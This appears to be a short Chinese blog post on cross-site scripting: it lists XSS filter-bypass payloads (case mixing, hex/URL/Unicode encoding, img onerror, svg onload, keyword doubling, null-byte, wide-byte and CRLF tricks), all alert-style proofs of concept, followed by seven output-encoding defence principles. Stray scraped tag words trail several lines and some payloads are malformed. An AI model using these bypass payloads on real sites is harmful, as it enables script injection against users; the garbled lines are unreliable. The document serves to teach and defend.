跨站腳本攻擊(Cross Site Scripting),爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的特殊目的。javascript
具體的一些介紹與簡單的實例就不作詳述了,本文主要介紹的是XSS的繞過技巧與防護。java
<ScRIpT>alert('123')</sCRIpT>
1.十六進制編碼 2.jsfuck編碼 3.url編碼 4.unicode編碼 <0x736372697074>alert('123')</0x736372697074> <img src="1" onerror="alert(1)"> '被過濾,咱們能夠將'寫爲 ' 將"/"轉義爲"/"
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
"><script>alert(/123/)</script> </script><script>alert(1)</script>
<img src="x" onerror="alert(1)"> <button onclick="javascript:alert('xss')>XSS</button"> <title><img a="</title><img/src=1 onerror=alert(1)//"> "onsubmit=javascript:alert(1)%20name="a
%0aalert(1); %0a 換行符 /**/ 替換空格 %00 截斷
<img ononerrorerror="123"> <script>alalertert(123)</script>
gbxxxx系列的編碼,那麼咱們嘗試一下寬字節 %c0 %bf %5c
onload onclick onerror prompt confirm onmousemove
CRLF是」回車 + 換行」(\r\n)的簡稱。 http://www.xxx.com%0d%0a%0d%0a+xss代碼 <svg/onload=prompt(1)>
原則1:「Secure By Default」原則:不要往HTML頁面中插入任何不可信數據xss
原則2:在將不可信數據插入到HTML標籤之間時,對這些數據進行HTML Entity編碼svg
原則3:在將不可信數據插入到HTML屬性裏時,對這些數據進行HTML屬性編碼編碼
原則4:在將不可信數據插入到SCRIPT裏時,對這些數據進行SCRIPT編碼url
原則5:在將不可信數據插入到Style屬性裏時,對這些數據進行CSS編碼code
原則6:在將不可信數據插入到HTML URL裏時,對這些數據進行URL編碼事件
原則7:使用富文本時,使用XSS規則引擎進行編碼過濾ip
歡迎訪問獨立博客joy_nickunicode